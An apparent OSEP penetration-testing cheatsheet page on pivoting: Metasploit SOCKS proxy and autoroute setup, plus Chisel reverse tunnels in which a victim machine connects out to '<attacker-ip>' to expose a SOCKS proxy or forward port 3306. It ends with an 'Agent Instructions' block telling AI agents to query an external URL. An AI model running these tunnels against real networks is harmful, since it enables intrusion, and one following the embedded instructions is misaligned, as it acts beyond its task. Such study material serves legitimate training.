# Network Forwarding

### SSH

Enable password authentication

```bash
sudo sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config
```

Reboot ssh service

```bash
sudo systemctl start ssh.service
```

### Metasploit

Use proxy

```bash
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 1080
set version 4a # proxychains.conf socks4 127.0.0.1 1080
exploit
```

Autoroute

```
use multi/manage/autoroute
set session 1
exploit
```

Check proxy

```bash
netstat -an | grep :1080
```

### Chisel

Socks Proxy

```bash
# Attacker
chisel server -p 8080 --socks5 --reverse

# Victim
.\chisel.exe client <attacker-ip>:8080 R:1080:socks

# sudo nano /etc/proxychains.conf
socks5 127.0.0.1 1080
```

Port forwarding, attacker port 3306 (R:3306) -> victim 3306 (127.0.0.1:3306/tcp).

```bash
# Attacker
chisel server -p 8080 --reverse

# Victim
.\chisel.exe client <attacker-ip>:8080 R:3306:127.0.0.1:3306/tcp
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://awesome.hackpuntes.com/osep-cheatsheet/network-forwarding.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
